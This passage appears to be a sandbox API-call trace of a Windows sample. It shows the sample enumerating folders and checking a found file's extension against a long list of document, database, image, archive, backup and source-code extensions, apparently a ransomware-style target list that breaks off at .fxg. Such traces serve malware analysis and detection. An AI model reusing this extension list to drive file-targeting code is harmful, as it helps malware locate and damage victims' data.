	[0181.786] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.789] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.789] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0181.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.790] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1
	[0181.791] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.791] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.798] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.798] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0181.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.798] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", cAlternateFileName="{268C4~1")) returned 1
	[0181.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.800] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.802] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.803] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.803] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0181.803] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.803] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1
	[0181.805] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0181.805] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.807] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.808] FindNextFileW (in: hFindFile=0x4140dd8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.808] FindClose (in: hFindFile=0x4140dd8 | out: hFindFile=0x4140dd8) returned 1
	[0181.808] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.808] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1
	[0181.811] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.811] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.811] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.811] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.811] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0181.811] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.811] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1
	[0181.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.812] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0181.812] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0181.812] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0181.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0181.812] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1
	[0181.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0181.814] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0181.814] lstrlenW (lpString="RunTime.xml") returned 11
	[0181.814] lstrlenW (lpString=".1cd") returned 4
	[0181.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.814] lstrlenW (lpString=".3ds") returned 4
	[0181.814] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0181.814] lstrlenW (lpString=".3fr") returned 4
	[0181.814] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0181.814] lstrlenW (lpString=".3g2") returned 4
	[0181.814] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0181.814] lstrlenW (lpString=".3gp") returned 4
	[0181.814] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0181.814] lstrlenW (lpString=".7z") returned 3
	[0181.814] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.814] lstrlenW (lpString=".accda") returned 6
	[0181.814] lstrcmpiW (lpString1=".accda", lpString2="me.xml") returned -1
	[0181.814] lstrlenW (lpString=".accdb") returned 6
	[0181.814] lstrcmpiW (lpString1=".accdb", lpString2="me.xml") returned -1
	[0181.815] lstrlenW (lpString=".accdc") returned 6
	[0181.815] lstrcmpiW (lpString1=".accdc", lpString2="me.xml") returned -1
	[0181.815] lstrlenW (lpString=".accde") returned 6
	[0181.815] lstrcmpiW (lpString1=".accde", lpString2="me.xml") returned -1
	[0181.815] lstrlenW (lpString=".accdt") returned 6
	[0181.815] lstrcmpiW (lpString1=".accdt", lpString2="me.xml") returned -1
	[0181.815] lstrlenW (lpString=".accdw") returned 6
	[0181.815] lstrcmpiW (lpString1=".accdw", lpString2="me.xml") returned -1
	[0181.815] lstrlenW (lpString=".adb") returned 4
	[0181.815] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".adp") returned 4
	[0181.815] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".ai") returned 3
	[0181.815] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0181.815] lstrlenW (lpString=".ai3") returned 4
	[0181.815] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".ai4") returned 4
	[0181.815] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".ai5") returned 4
	[0181.815] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".ai6") returned 4
	[0181.815] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".ai7") returned 4
	[0181.815] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".ai8") returned 4
	[0181.815] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".anim") returned 5
	[0181.815] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0181.815] lstrlenW (lpString=".arw") returned 4
	[0181.815] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".as") returned 3
	[0181.815] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0181.815] lstrlenW (lpString=".asa") returned 4
	[0181.815] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".asc") returned 4
	[0181.815] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0181.815] lstrlenW (lpString=".ascx") returned 5
	[0181.816] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0181.816] lstrlenW (lpString=".asm") returned 4
	[0181.816] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".asmx") returned 5
	[0181.816] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0181.816] lstrlenW (lpString=".asp") returned 4
	[0181.816] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".aspx") returned 5
	[0181.816] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0181.816] lstrlenW (lpString=".asr") returned 4
	[0181.816] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".asx") returned 4
	[0181.816] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".avi") returned 4
	[0181.816] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".avs") returned 4
	[0181.816] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".backup") returned 7
	[0181.816] lstrcmpiW (lpString1=".backup", lpString2="ime.xml") returned -1
	[0181.816] lstrlenW (lpString=".bak") returned 4
	[0181.816] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".bay") returned 4
	[0181.816] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".bd") returned 3
	[0181.816] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0181.816] lstrlenW (lpString=".bin") returned 4
	[0181.816] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".bmp") returned 4
	[0181.816] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".bz2") returned 4
	[0181.816] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".c") returned 2
	[0181.816] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0181.816] lstrlenW (lpString=".cdr") returned 4
	[0181.816] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0181.816] lstrlenW (lpString=".cer") returned 4
	[0181.816] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".cf") returned 3
	[0181.817] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0181.817] lstrlenW (lpString=".cfc") returned 4
	[0181.817] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".cfm") returned 4
	[0181.817] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".cfml") returned 5
	[0181.817] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0181.817] lstrlenW (lpString=".cfu") returned 4
	[0181.817] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".chm") returned 4
	[0181.817] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".cin") returned 4
	[0181.817] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".class") returned 6
	[0181.817] lstrcmpiW (lpString1=".class", lpString2="me.xml") returned -1
	[0181.817] lstrlenW (lpString=".clx") returned 4
	[0181.817] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".config") returned 7
	[0181.817] lstrcmpiW (lpString1=".config", lpString2="ime.xml") returned -1
	[0181.817] lstrlenW (lpString=".cpp") returned 4
	[0181.817] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".cr2") returned 4
	[0181.817] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".crt") returned 4
	[0181.817] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".crw") returned 4
	[0181.817] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".cs") returned 3
	[0181.817] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0181.817] lstrlenW (lpString=".css") returned 4
	[0181.817] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".csv") returned 4
	[0181.817] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".cub") returned 4
	[0181.817] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0181.817] lstrlenW (lpString=".dae") returned 4
	[0181.818] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dat") returned 4
	[0181.818] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".db") returned 3
	[0181.818] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0181.818] lstrlenW (lpString=".dbf") returned 4
	[0181.818] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dbx") returned 4
	[0181.818] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dc3") returned 4
	[0181.818] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dcm") returned 4
	[0181.818] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dcr") returned 4
	[0181.818] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".der") returned 4
	[0181.818] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dib") returned 4
	[0181.818] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dic") returned 4
	[0181.818] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".dif") returned 4
	[0181.818] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".divx") returned 5
	[0181.818] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0181.818] lstrlenW (lpString=".djvu") returned 5
	[0181.818] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0181.818] lstrlenW (lpString=".dng") returned 4
	[0181.818] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".doc") returned 4
	[0181.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.818] lstrlenW (lpString=".docm") returned 5
	[0181.818] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0181.818] lstrlenW (lpString=".docx") returned 5
	[0181.818] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0181.818] lstrlenW (lpString=".dot") returned 4
	[0181.818] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".dotm") returned 5
	[0181.819] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0181.819] lstrlenW (lpString=".dotx") returned 5
	[0181.819] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0181.819] lstrlenW (lpString=".dpx") returned 4
	[0181.819] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".dqy") returned 4
	[0181.819] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".dsn") returned 4
	[0181.819] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".dt") returned 3
	[0181.819] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0181.819] lstrlenW (lpString=".dtd") returned 4
	[0181.819] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".dwg") returned 4
	[0181.819] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".dwt") returned 4
	[0181.819] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".dx") returned 3
	[0181.819] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0181.819] lstrlenW (lpString=".dxf") returned 4
	[0181.819] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".edml") returned 5
	[0181.819] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0181.819] lstrlenW (lpString=".efd") returned 4
	[0181.819] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".elf") returned 4
	[0181.819] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".emf") returned 4
	[0181.819] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".emz") returned 4
	[0181.819] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".epf") returned 4
	[0181.819] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".eps") returned 4
	[0181.819] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0181.819] lstrlenW (lpString=".epsf") returned 5
	[0181.819] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0181.820] lstrlenW (lpString=".epsp") returned 5
	[0181.820] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0181.820] lstrlenW (lpString=".erf") returned 4
	[0181.820] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".exr") returned 4
	[0181.820] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".f4v") returned 4
	[0181.820] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".fido") returned 5
	[0181.820] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0181.820] lstrlenW (lpString=".flm") returned 4
	[0181.820] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".flv") returned 4
	[0181.820] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".frm") returned 4
	[0181.820] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0181.820] lstrlenW (lpString=".fxg") returned 4
	[0181.820] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
